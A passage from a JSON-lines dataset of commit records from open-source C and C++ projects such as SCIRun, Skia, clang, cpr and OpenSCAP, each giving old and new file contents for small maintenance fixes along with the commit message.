NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL\n THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING\n FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER\n DEALINGS IN THE SOFTWARE.\n *\/\n\n#ifndef CORE_COMMAND_COMMANDFACTORY_H\n#define CORE_COMMAND_COMMANDFACTORY_H\n\n#include <Core\/Command\/Share.h>\n\nnamespace SCIRun\n{\n  namespace Core\n  {\n    namespace GlobalCommands\n    {\n      class GlobalCommand;\n      enum Commands;\n\n      class SCISHARE CommandFactory \n      {\n      public:\n        virtual ~CommandFactory();\n        virtual GlobalCommand* create(Commands command) = 0;\n      };\n    }\n  }\n}\n\n#endif\n","new_contents":"\/*\n For more information, please see: http:\/\/software.sci.utah.edu\n\n The MIT License\n\n Copyright (c) 2012 Scientific Computing and Imaging Institute,\n University of Utah.\n\n\n Permission is hereby granted, free of charge, to any person obtaining a\n copy of this software and associated documentation files (the \"Software\"),\n to deal in the Software without restriction, including without limitation\n the rights to use, copy, modify, merge, publish, distribute, sublicense,\n and\/or sell copies of the Software, and to permit persons to whom the\n Software is furnished to do so, subject to the following conditions:\n\n The above copyright notice and this permission notice shall be included\n in all copies or substantial portions of the Software.\n\n THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS\n OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL\n THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING\n FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER\n DEALINGS IN THE SOFTWARE.\n *\/\n\n#ifndef CORE_COMMAND_COMMANDFACTORY_H\n#define CORE_COMMAND_COMMANDFACTORY_H\n\n#include <Core\/Command\/Command.h>\n#include <Core\/Command\/Share.h>\n\nnamespace SCIRun\n{\n  namespace Core\n  {\n    namespace GlobalCommands\n    {\n      class GlobalCommand;\n\n      class SCISHARE CommandFactory \n      {\n      public:\n        virtual ~CommandFactory();\n        virtual GlobalCommand* create(Commands command) = 0;\n      };\n    }\n  }\n}\n\n#endif\n","subject":"Remove nonstandard enum forward decl.","message":"Remove nonstandard enum forward decl.\n","lang":"C","license":"mit","repos":"moritzdannhauer\/SCIRunGUIPrototype,jcollfont\/SCIRun,collint8\/SCIRun,ajanson\/SCIRun,jessdtate\/SCIRun,collint8\/SCIRun,jcollfont\/SCIRun,jcollfont\/SCIRun,collint8\/SCIRun,ajanson\/SCIRun,jessdtate\/SCIRun,jessdtate\/SCIRun,jcollfont\/SCIRun,jcollfont\/SCIRun,moritzdannhauer\/SCIRunGUIPrototype,moritzdannhauer\/SCIRunGUIPrototype,collint8\/SCIRun,collint8\/SCIRun,moritzdannhauer\/SCIRunGUIPrototype,ajanson\/SCIRun,ajanson\/SCIRun,jessdtate\/SCIRun,ajanson\/SCIRun,ajanson\/SCIRun,jessdtate\/SCIRun,collint8\/SCIRun,jessdtate\/SCIRun,moritzdannhauer\/SCIRunGUIPrototype,collint8\/SCIRun,jessdtate\/SCIRun,jcollfont\/SCIRun,moritzdannhauer\/SCIRunGUIPrototype,jcollfont\/SCIRun,moritzdannhauer\/SCIRunGUIPrototype,ajanson\/SCIRun,collint8\/SCIRun,jessdtate\/SCIRun"}
{"commit":"c5238e0a4c6751f7c0965cea1e17fa3e1437402d","old_file":"example\/ex-algo03.c","new_file":"example\/ex-algo03.c","old_contents":"","new_contents":"#include \"m-dict.h\"\n#include \"m-array.h\"\n#include \"m-algo.h\"\n#include \"m-string.h\"\n\nDICT_DEF2(dict, string_t, int)\n#define M_OPL_dict_t() DICT_OPLIST(dict, STRING_OPLIST, M_DEFAULT_OPLIST)\n\nARRAY_DEF(vector_int, int)\n#define M_OPL_vector_int_t() ARRAY_OPLIST(vector_int)\n\n#define start_with(pattern, item)                \\\n  string_start_with_str_p((item).key, (pattern))\n#define get_value(out, item) ((out) = (item).value)\n\nint main(void)\n{\n  int s;\n  M_LET(keys, vector_int_t)\n    M_LET( (m, (STRING_CTE(\"foo\"), 1), (STRING_CTE(\"bar\"), 42), (STRING_CTE(\"bluez\"), 7), (STRING_CTE(\"stop\"), 789) ), tmp, dict_t) {\n \n    \/* Extract all elements of 'm' that starts with 'b' *\/\n    ALGO_EXTRACT(tmp, dict_t, m, dict_t, start_with, \"b\");\n    \/* Extract the values of theses elements *\/\n    ALGO_TRANSFORM(keys, vector_int_t, tmp, dict_t, get_value);\n    \/* Sum theses values *\/\n    ALGO_REDUCE(s, keys, vector_int_t, sum);\n    printf(\"Sum of elements starting with 'b' is: %d\\n\", s);\n  }\n  return 0;\n}\n","subject":"Add new example for algorithm","message":"Add new example for algorithm\n","lang":"C","license":"bsd-2-clause","repos":"P-p-H-d\/mlib,P-p-H-d\/mlib"}
{"commit":"f57b70c85808c0946e63d87f7947fb12d60fe23a","old_file":"ext\/pdfium_ruby\/pdfium_ruby.h","new_file":"ext\/pdfium_ruby\/pdfium_ruby.h","old_contents":"extern \"C\" {\n  #include \"ruby.h\"\n}\n\nvoid Define_Document();\nvoid Define_Page();\nvoid Define_PageSet();\n","new_contents":"#ifndef __PDFIUM_RUBY_H__\n#define __PDFIUM_RUBY_H__\n\nextern \"C\" {\n  #include \"ruby.h\"\n}\n\n\/\/ Inspired by https:\/\/github.com\/jasonroelofs\/rice\/blob\/1740a6d12c99fce8c21eda3c5385738318ab9172\/rice\/detail\/ruby.hpp#L33-L37\n\/\/ Casts C functions into a type that C++ is happy calling\nextern \"C\" typedef VALUE (*CPP_RUBY_METHOD_FUNC)(ANYARGS);\n\nvoid Define_Document();\nvoid Define_Page();\nvoid Define_PageSet();\n\n#endif","subject":"Create a type to cast Ruby's C functions to a thing C++ is happy with.","message":"Create a type to cast Ruby's C functions to a thing C++ is happy with.","lang":"C","license":"mit","repos":"documentcloud\/pdfshaver,documentcloud\/pdfshaver,documentcloud\/pdfshaver"}
{"commit":"9d0b2a96595333aef5c4dd7ab0f15d9c663aee2a","old_file":"test2\/casts\/rm_qual.c","new_file":"test2\/casts\/rm_qual.c","old_contents":"\/\/ RUN: %check %s\n\nstruct A\n{\n\tint i;\n};\n\nint f(const void *p)\n{\n\tstruct A *a = p; \/\/ CHECK: warning: implicit cast removes qualifiers (const)\n\tstruct A *b = (struct A *)p; \/\/ CHECK: !\/warning:.*cast removes qualifiers\/\n\n\t(void)a;\n\t(void)b;\n}\n","new_contents":"\/\/ RUN: %check %s\n\nstruct A\n{\n\tint i;\n};\n\nvoid take(void *);\n\nint f(const void *p)\n{\n\tstruct A *a = p; \/\/ CHECK: warning: implicit cast removes qualifiers (const)\n\tstruct A *b = (struct A *)p; \/\/ CHECK: !\/warning:.*cast removes qualifiers\/\n\n\t(void)a;\n\t(void)b;\n\n\tconst char c = 5;\n\ttake(&c); \/\/ CHECK: warning: implicit cast removes qualifiers (const)\n}\n","subject":"Add another case to qualifier-removal test","message":"Add another case to qualifier-removal test\n","lang":"C","license":"mit","repos":"bobrippling\/ucc-c-compiler,bobrippling\/ucc-c-compiler,bobrippling\/ucc-c-compiler"}
{"commit":"1de801a7120e0e8a2c7614265880452a20a38a29","old_file":"test\/Driver\/clang-g-opts.c","new_file":"test\/Driver\/clang-g-opts.c","old_contents":"\/\/ RUN: %clang -S -v -o %t %s        2>&1 | not grep -w -- -g\n\/\/ RUN: %clang -S -v -o %t %s -g     2>&1 | grep -w -- -g\n\/\/ RUN: %clang -S -v -o %t %s -g0    2>&1 | not grep -w -- -g\n\/\/ RUN: %clang -S -v -o %t %s -g -g0 2>&1 | not grep -w -- -g\n\/\/ RUN: %clang -S -v -o %t %s -g0 -g 2>&1 | grep -w -- -g\n","new_contents":"\/\/ RUN: %clang -S -v -o %t %s        2>&1 | FileCheck %s\n\/\/ CHECK-NOT: -g\n\n\/\/ RUN: %clang -S -v -o %t %s -g     2>&1 | FileCheck %s\n\/\/ CHECK: -g\n\n\/\/ RUN: %clang -S -v -o %t %s -g0    2>&1 | FileCheck %s\n\/\/ CHECK-NOT: -g\n\n\/\/ RUN: %clang -S -v -o %t %s -g -g0 2>&1 | FileCheck %s\n\/\/ CHECK-NOT: -g\n\n\/\/ RUN: %clang -S -v -o %t %s -g0 -g 2>&1 | FileCheck %s\n\/\/ CHECK: -g\n","subject":"Move a non portable test to FileCheck, from Jonathan Gray!","message":"Move a non portable test to FileCheck, from Jonathan Gray!\n\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@155874 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang"}
{"commit":"db7023ad3ced3ca487f1b197c01d67341fa3de95","old_file":"mudlib\/mud\/home\/Game\/sys\/verb\/ooc\/dgd.c","new_file":"mudlib\/mud\/home\/Game\/sys\/verb\/ooc\/dgd.c","old_contents":"","new_contents":"\/*\n * This file is part of Kotaka, a mud library for DGD\n * http:\/\/github.com\/shentino\/kotaka\n *\n * Copyright (C) 2012  Raymond Jennings\n *\n * This program is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Affero General Public License as\n * published by the Free Software Foundation, either version 3 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU Affero General Public License for more details.\n *\n * You should have received a copy of the GNU Affero General Public License\n * along with this program.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n#include <kotaka\/paths.h>\n#include <account\/paths.h>\n#include <game\/paths.h>\n#include <text\/paths.h>\n#include <text\/parse.h>\n\ninherit LIB_RAWVERB;\n\nvoid main(object actor, string args)\n{\n\tstring name;\n\n\tif (query_user()->query_class() < 2) {\n\t\tsend_out(\"You have insufficient access to post on the DGD channel.\\n\");\n\t\treturn;\n\t}\n\n\tname = query_user()->query_name();\n\n\tCHANNELD->post_message(\"dgd\", name, args);\n}\n","subject":"Add command to use it","message":"Add command to use it\n","lang":"C","license":"agpl-3.0","repos":"shentino\/kotaka,shentino\/kotaka,shentino\/kotaka"}
{"commit":"183498dc7eee80c5bc80262588e7675959400a26","old_file":"include\/slang\/util\/Enum.h","new_file":"include\/slang\/util\/Enum.h","old_contents":"\/\/------------------------------------------------------------------------------\n\/\/ Enum.h\n\/\/ Various enum utilities.\n\/\/\n\/\/ File is under the MIT license; see LICENSE for details.\n\/\/------------------------------------------------------------------------------\n#pragma once\n\n#define UTIL_ENUM_ELEMENT(x) x,\n#define UTIL_ENUM_STRING(x) #x,\n#define ENUM(name, elements)                                           \\\n    enum class name { elements(UTIL_ENUM_ELEMENT) };                   \\\n    inline string_view toString(name e) {                              \\\n        static const char* strings[] = { elements(UTIL_ENUM_STRING) }; \\\n        return strings[static_cast<std::underlying_type_t<name>>(e)];  \\\n    }                                                                  \\\n    inline std::ostream& operator<<(std::ostream& os, name e) { return os << toString(e); }\n\n#define ENUM_MEMBER(name, elements)                                    \\\n    enum name { elements(UTIL_ENUM_ELEMENT) };                         \\\n    friend string_view toString(name e) {                              \\\n        static const char* strings[] = { elements(UTIL_ENUM_STRING) }; \\\n        return strings[static_cast<std::underlying_type_t<name>>(e)];  \\\n    }","new_contents":"\/\/------------------------------------------------------------------------------\n\/\/ Enum.h\n\/\/ Various enum utilities.\n\/\/\n\/\/ File is under the MIT license; see LICENSE for details.\n\/\/------------------------------------------------------------------------------\n#pragma once\n\n#define UTIL_ENUM_ELEMENT(x) x,\n#define UTIL_ENUM_STRING(x) #x,\n#define ENUM(name, elements)                                           \\\n    enum class name { elements(UTIL_ENUM_ELEMENT) };                   \\\n    inline string_view toString(name e) {                              \\\n        static const char* strings[] = { elements(UTIL_ENUM_STRING) }; \\\n        return strings[static_cast<std::underlying_type_t<name>>(e)];  \\\n    }                                                                  \\\n    inline std::ostream& operator<<(std::ostream& os, name e) { return os << toString(e); }\n\n#define ENUM_MEMBER(name, elements)                                    \\\n    enum name { elements(UTIL_ENUM_ELEMENT) };                         \\\n    friend string_view toString(name e) {                              \\\n        static const char* strings[] = { elements(UTIL_ENUM_STRING) }; \\\n        return strings[static_cast<std::underlying_type_t<name>>(e)];  \\\n    }\n","subject":"Work around more GCC nonsense","message":"Work around more GCC nonsense\n","lang":"C","license":"mit","repos":"MikePopoloski\/slang,MikePopoloski\/slang"}
{"commit":"281bb6d66dd267368ce2bcb235b8aae24dfc17df","old_file":"include\/gpu\/gl\/SkMesaGLContext.h","new_file":"include\/gpu\/gl\/SkMesaGLContext.h","old_contents":"\n\/*\n * Copyright 2011 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n#ifndef SkMesaGLContext_DEFINED\n#define SkMesaGLContext_DEFINED\n\n#include \"SkGLContext.h\"\n\n#if SK_MESA\n\nclass SkMesaGLContext : public SkGLContext {\nprivate:\n    typedef intptr_t Context;\n\npublic:\n    SkMesaGLContext();\n\n    virtual ~SkMesaGLContext();\n\n    virtual void makeCurrent() const SK_OVERRIDE;\n\n    class AutoContextRestore {\n    public:\n        AutoContextRestore();\n        ~AutoContextRestore();\n\n    private:\n        Context fOldContext;\n        GLint   fOldWidth;\n        GLint   fOldHeight;\n        GLint   fOldFormat;\n        void*   fOldImage;\n    };\n\nprotected:\n    virtual const GrGLInterface* createGLContext() SK_OVERRIDE;\n    virtual void destroyGLContext() SK_OVERRIDE;\n\nprivate:\n    Context fContext;\n    GrGLubyte *fImage;\n};\n\n#endif\n\n#endif\n","new_contents":"\n\/*\n * Copyright 2011 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n#ifndef SkMesaGLContext_DEFINED\n#define SkMesaGLContext_DEFINED\n\n#include \"SkGLContext.h\"\n\n#if SK_MESA\n\nclass SkMesaGLContext : public SkGLContext {\nprivate:\n    typedef intptr_t Context;\n\npublic:\n    SkMesaGLContext();\n\n    virtual ~SkMesaGLContext();\n\n    virtual void makeCurrent() const SK_OVERRIDE;\n\n    class AutoContextRestore {\n    public:\n        AutoContextRestore();\n        ~AutoContextRestore();\n\n    private:\n        Context fOldContext;\n        GrGLint fOldWidth;\n        GrGLint fOldHeight;\n        GrGLint fOldFormat;\n        void*   fOldImage;\n    };\n\nprotected:\n    virtual const GrGLInterface* createGLContext() SK_OVERRIDE;\n    virtual void destroyGLContext() SK_OVERRIDE;\n\nprivate:\n    Context fContext;\n    GrGLubyte *fImage;\n};\n\n#endif\n\n#endif\n","subject":"Fix undefined GLint in Mac builds","message":"Fix undefined GLint in Mac builds\n\n\n\n\ngit-svn-id: e8541e15acce502a64c929015570ad1648e548cd@3736 2bbb7eff-a529-9590-31e7-b0007b416f81\n","lang":"C","license":"bsd-3-clause","repos":"metajack\/skia,Cue\/skia,Cue\/skia,Cue\/skia,Cue\/skia,metajack\/skia,mrobinson\/skia,metajack\/skia,metajack\/skia,mrobinson\/skia,mrobinson\/skia,mrobinson\/skia,mrobinson\/skia"}
{"commit":"d2a0f73278eca431ec8af9e28ebf3f534c325b8e","old_file":"include\/error.h","new_file":"include\/error.h","old_contents":"#ifndef CPR_ERROR_H\n#define CPR_ERROR_H\n\n#include <string>\n\n#include \"cprtypes.h\"\n#include \"defines.h\"\n\nnamespace cpr {\n\nenum class ErrorCode {\n    OK = 0,\n    CONNECTION_FAILURE,\n    EMPTY_RESPONSE,\n    HOST_RESOLUTION_FAILURE,\n    INTERNAL_ERROR,\n    INVALID_URL_FORMAT,\n    NETWORK_RECEIVE_ERROR,\n    NETWORK_SEND_FAILURE,\n    OPERATION_TIMEDOUT,\n    PROXY_RESOLUTION_FAILURE,\n    SSL_CONNECT_ERROR,\n    SSL_LOCAL_CERTIFICATE_ERROR,\n    SSL_REMOTE_CERTIFICATE_ERROR,\n    SSL_CACERT_ERROR,\n    GENERIC_SSL_ERROR,\n    UNSUPPORTED_PROTOCOL,\n    UNKNOWN_ERROR = 1000,\n};\n\nclass Error {\n  public:\n    Error() : code{ErrorCode::OK} {}\n\n    template <typename TextType>\n    Error(const ErrorCode& p_error_code, TextType&& p_error_message)\n            : code{p_error_code}, message{CPR_FWD(p_error_message)} {}\n\n    explicit operator bool() const {\n        return code != ErrorCode::OK;\n    }\n\n    ErrorCode code;\n    std::string message;\n\n    static ErrorCode getErrorCodeForCurlError(int curl_code);\n};\n\n} \/\/ namespace cpr\n\n#endif\n","new_contents":"#ifndef CPR_ERROR_H\n#define CPR_ERROR_H\n\n#include <string>\n\n#include \"cprtypes.h\"\n#include \"defines.h\"\n\nnamespace cpr {\n\nenum class ErrorCode {\n    OK = 0,\n    CONNECTION_FAILURE,\n    EMPTY_RESPONSE,\n    HOST_RESOLUTION_FAILURE,\n    INTERNAL_ERROR,\n    INVALID_URL_FORMAT,\n    NETWORK_RECEIVE_ERROR,\n    NETWORK_SEND_FAILURE,\n    OPERATION_TIMEDOUT,\n    PROXY_RESOLUTION_FAILURE,\n    SSL_CONNECT_ERROR,\n    SSL_LOCAL_CERTIFICATE_ERROR,\n    SSL_REMOTE_CERTIFICATE_ERROR,\n    SSL_CACERT_ERROR,\n    GENERIC_SSL_ERROR,\n    UNSUPPORTED_PROTOCOL,\n    UNKNOWN_ERROR = 1000,\n};\n\nclass Error {\n  public:\n    Error() : code{ErrorCode::OK} {}\n\n    template <typename TextType>\n    Error(const ErrorCode& p_error_code, TextType&& p_error_message)\n            : code{p_error_code}, message{CPR_FWD(p_error_message)} {}\n\n    explicit operator bool() const {\n        return code != ErrorCode::OK;\n    }\n\n    ErrorCode code;\n    std::string message;\n\n  private:\n    static ErrorCode getErrorCodeForCurlError(int curl_code);\n};\n\n} \/\/ namespace cpr\n\n#endif\n","subject":"Make static member method private","message":"Make static member method private\n","lang":"C","license":"mit","repos":"msuvajac\/cpr,whoshuu\/cpr,whoshuu\/cpr,msuvajac\/cpr,SuperV1234\/cpr,SuperV1234\/cpr,msuvajac\/cpr,whoshuu\/cpr,SuperV1234\/cpr"}
{"commit":"35568f5347922fbd26b25b9a3c13b4a1dbfda1f5","old_file":"ios\/RNInstabugSDK.h","new_file":"ios\/RNInstabugSDK.h","old_contents":"\/\/\n\/\/  RNInstabugSDK.h\n\/\/  RNInstabugSDK\n\/\/\n\/\/  Created by Mark Miyashita on 10\/11\/16.\n\/\/  Copyright © 2016 Mark Miyashita. All rights reserved.\n\/\/\n\n\n#import \"RCTBridgeModule.h\"\n#import \"RCTConvert.h\"\n#import \"RCTUtils.h\"\n\n\n@interface RNInstabugSDK : NSObject <RCTBridgeModule>\n@end\n","new_contents":"\/\/\n\/\/  RNInstabugSDK.h\n\/\/  RNInstabugSDK\n\/\/\n\/\/  Created by Mark Miyashita on 10\/11\/16.\n\/\/  Copyright © 2016 Mark Miyashita. All rights reserved.\n\/\/\n\n\n#if __has_include(\"RCTBridgeModule.h\")\n  #import \"RCTBridgeModule.h\"\n  #import \"RCTConvert.h\"\n  #import \"RCTUtils.h\"\n#else\n  #import \"React\/RCTBridgeModule.h\"\n  #import \"React\/RCTConvert.h\"\n  #import \"React\/RCTUtils.h\"\n#endif\n\n\n\n@interface RNInstabugSDK : NSObject <RCTBridgeModule>\n@end\n","subject":"Update import style to add RN 40.0+ compatibility","message":"Update import style to add RN 40.0+ compatibility\n","lang":"C","license":"mit","repos":"negativetwelve\/react-native-instabug-sdk,negativetwelve\/react-native-instabug-sdk,negativetwelve\/react-native-instabug-sdk"}
{"commit":"402993af266c289f2003b2c02f74a25a9375d48b","old_file":"cmd\/built_in.c","new_file":"cmd\/built_in.c","old_contents":"#include <stdlib.h>\n#include <stdbool.h>\n#include <stdio.h>\n#include <string.h>\n#include <unistd.h>\n#include \"cmd.h\"\n\nvoid sh_exit() {\n  exit(0);\n}\n\nvoid sh_pid() {\n  printf(\"%d\\n\", getpid());\n}\n\nvoid sh_ppid() {\n  printf(\"%d\\n\", getppid());\n}\n\nvoid sh_cd(cmd_args_t args) {\n  char* dir;\n  if (args.size == 1) {\n    dir = getenv(\"HOME\");\n  } else {\n    dir = args.args[1];\n  }\n\n  chdir(dir);\n}\n\nvoid sh_pwd() {\n  char* cwd = getcwd(NULL, 0);\n  printf(\"%s\\n\", cwd);\n  free(cwd);\n}\n\nvoid sh_set(cmd_args_t args) {\n  setenv(args.args[0], args.args[1], true);\n}\n\nvoid sh_get(cmd_args_t args) {\n  char* val = getenv(args.args[0]);\n\n  if (val == NULL) {\n    printf(\"(NULL)\\n\");\n  } else {\n    printf(\"%s\\n\", val);\n  }\n\n}\n","new_contents":"#include <stdlib.h>\n#include <stdbool.h>\n#include <stdio.h>\n#include <string.h>\n#include <unistd.h>\n#include \"cmd.h\"\n\nvoid sh_exit() {\n  exit(0);\n}\n\nvoid sh_pid() {\n  printf(\"%d\\n\", getpid());\n}\n\nvoid sh_ppid() {\n  printf(\"%d\\n\", getppid());\n}\n\nvoid sh_cd(cmd_args_t args) {\n  char* dir;\n  if (args.size == 1) {\n    dir = getenv(\"HOME\");\n  } else {\n    dir = args.args[1];\n  }\n\n  chdir(dir);\n}\n\nvoid sh_pwd() {\n  char* cwd = getcwd(NULL, 0);\n  printf(\"%s\\n\", cwd);\n  free(cwd);\n}\n\nvoid sh_set(cmd_args_t args) {\n  setenv(args.args[1], args.args[2], true);\n}\n\nvoid sh_get(cmd_args_t args) {\n  char* val = getenv(args.args[1]);\n\n  if (val == NULL) {\n    printf(\"(NULL)\\n\");\n  } else {\n    printf(\"%s\\n\", val);\n  }\n\n}\n","subject":"Fix issue in options index.","message":"Fix issue in options index.\n","lang":"C","license":"mit","repos":"dgriffen\/308-shell"}
{"commit":"e2ca3c802f97b5ee52f1d15d0e43097a5bef6187","old_file":"src\/OVAL\/probes\/unix\/linux\/rpm-helper.c","new_file":"src\/OVAL\/probes\/unix\/linux\/rpm-helper.c","old_contents":"\/*\n * Copyright 2016 Red Hat Inc., Durham, North Carolina.\n * All Rights Reserved.\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA\n *\n *\/\n\n#include \"rpm-helper.h\"\n\n#ifdef HAVE_CONFIG_H\n#include <config.h>\n#endif\n\nint rpmErrorCb (rpmlogRec rec, rpmlogCallbackData data)\n{\n\tdE(\"RPM: %s\", rpmlogRecMessage(rec));\n\treturn RPMLOG_EXIT; \/\/ don't perform default logging\n\nvoid rpmLibsPreload()\n{\n\trpmReadConfigFiles(NULL, NULL);\n}\n","new_contents":"\/*\n * Copyright 2016 Red Hat Inc., Durham, North Carolina.\n * All Rights Reserved.\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA\n *\n *\/\n\n#include \"rpm-helper.h\"\n\n#ifdef HAVE_CONFIG_H\n#include <config.h>\n#endif\n\nint rpmErrorCb (rpmlogRec rec, rpmlogCallbackData data)\n{\n\tdE(\"RPM: %s\", rpmlogRecMessage(rec));\n\treturn RPMLOG_DEFAULT;\n}\n\nvoid rpmLibsPreload()\n{\n\trpmReadConfigFiles(NULL, NULL);\n}\n","subject":"Fix erro cb return value","message":"probes\/rpm: Fix erro cb return value\n\nWe have to use RPMLOG_DEFAULT, because RPMLOG_EXIT\ncause exit of whole probe.\n","lang":"C","license":"lgpl-2.1","repos":"redhatrises\/openscap,OpenSCAP\/openscap,mpreisler\/openscap,jan-cerny\/openscap,mpreisler\/openscap,jan-cerny\/openscap,ybznek\/openscap,jan-cerny\/openscap,ybznek\/openscap,jan-cerny\/openscap,OpenSCAP\/openscap,Hexadorsimal\/openscap,jan-cerny\/openscap,OpenSCAP\/openscap,ybznek\/openscap,jan-cerny\/openscap,Hexadorsimal\/openscap,mpreisler\/openscap,OpenSCAP\/openscap,mpreisler\/openscap,mpreisler\/openscap,redhatrises\/openscap,OpenSCAP\/openscap,Hexadorsimal\/openscap,Hexadorsimal\/openscap,ybznek\/openscap,Hexadorsimal\/openscap,redhatrises\/openscap,redhatrises\/openscap,ybznek\/openscap,OpenSCAP\/openscap,Hexadorsimal\/openscap,redhatrises\/openscap,mpreisler\/openscap,redhatrises\/openscap,ybznek\/openscap"}
{"commit":"1f32a4a1cc5942bcc8d99f006ee20e54ca67e220","old_file":"include\/utils.h","new_file":"include\/utils.h","old_contents":"\/**\n * utils.h\n *\n * Copyright (C) 2017 Nickolas Burr <nickolasburr@gmail.com>\n *\/\n\n#ifndef GIT_STASHD_UTILS_H\n#define GIT_STASHD_UTILS_H\n\n#include <dirent.h>\n#include <sys\/stat.h>\n#include <sys\/types.h>\n#include \"common.h\"\n#include \"signals.h\"\n\n#ifdef __APPLE__\n#include <limits.h>\n#else\n#include <linux\/limits.h>\n#endif\n\n\/**\n * String utilities\n *\/\n\nint compare(char *one, char *two);\nchar *concat(char *buf, char *str);\nchar *copy(char *buf, char *str);\n\n\/**\n * Filesystem utilities\n *\/\n\nDIR *get_dir(const char *path);\nFILE *get_file(const char *filename, const char *filemode);\n\nint is_dir(const char *path);\nint is_file(const char *path);\nint is_link(const char *path);\nint is_sock(const char *path);\nint is_fifo(const char *path);\nint is_block(const char *path);\nint is_char(const char *path);\n\n\/**\n * Type utilities\n *\/\n\nint is_null(void *ptr);\n\n#endif \/* GIT_STASHD_UTILS_H *\/\n","new_contents":"\/**\n * utils.h\n *\n * Copyright (C) 2017 Nickolas Burr <nickolasburr@gmail.com>\n *\/\n\n#ifndef GIT_STASHD_UTILS_H\n#define GIT_STASHD_UTILS_H\n\n#include <dirent.h>\n#include <sys\/stat.h>\n#include <sys\/types.h>\n#include \"common.h\"\n#include \"signals.h\"\n\n#ifdef __APPLE__\n#include <limits.h>\n#else\n#include <linux\/limits.h>\n#endif\n\n\/**\n * String utilities\n *\/\n\nint compare(char *one, char *two);\nchar *concat(char *buf, char *str);\nchar *copy(char *buf, char *str);\n\n\/**\n * Filesystem utilities\n *\/\n\nDIR *get_dir(const char *path, int *error);\nFILE *get_file(const char *filename, const char *filemode, int *error);\nFILE *get_pipe(char *command, char *mode, int *error);\n\nint is_dir(const char *path);\nint is_file(const char *path);\nint is_link(const char *path);\nint is_sock(const char *path);\nint is_fifo(const char *path);\nint is_block(const char *path);\nint is_char(const char *path);\n\n\/**\n * Type utilities\n *\/\n\nint is_null(void *ptr);\n\n#endif \/* GIT_STASHD_UTILS_H *\/\n","subject":"Update get_dir, get_file decls, add get_pipe decl","message":"Update get_dir, get_file decls, add get_pipe decl\n","lang":"C","license":"mit","repos":"nickolasburr\/git-stashd,nickolasburr\/git-stashd,nickolasburr\/git-stashd"}
{"commit":"fdf89bc553c5fe5f9900658e8526cd398165d2f3","old_file":"src\/condor_includes\/_condor_fix_types.h","new_file":"src\/condor_includes\/_condor_fix_types.h","old_contents":"#ifndef FIX_TYPES_H\n#define FIX_TYPES_H\n\n#include <sys\/types.h>\n\n\/*\nThe system include file defines this in terms of bzero(), but ANSI says\nwe should use memset().\n*\/\n#if defined(OSF1)\n#undef FD_ZERO\n#define FD_ZERO(p)     memset((char *)(p), 0, sizeof(*(p)))\n#endif\n\n\/*\nVarious non-POSIX conforming files which depend on sys\/types.h will\nneed these extra definitions...\n*\/\n\ntypedef unsigned int u_int;\n\n#if defined(AIX32)\ntypedef unsigned short ushort;\n#endif\n\n#if defined(ULTRIX42) ||  defined(ULTRIX43)\ntypedef char * caddr_t;\n#endif\n\n#if defined(AIX32)\ntypedef unsigned long rlim_t;\n#endif\n\n#endif\n","new_contents":"#ifndef FIX_TYPES_H\n#define FIX_TYPES_H\n\n\t\/\/ OSF\/1 has this as an \"unsigned long\", but this is incorrect.  It\n\t\/\/ is used by lseek(), and must be able to hold negative values.\n#if defined(OSF1)\n#define off_t _hide_off_t\n#endif\n\n#include <sys\/types.h>\n\n#if defined(OSF1)\n#undef off_t\ntypedef long off_t;\n#endif\n\n\/*\nThe system include file defines this in terms of bzero(), but ANSI says\nwe should use memset().\n*\/\n#if 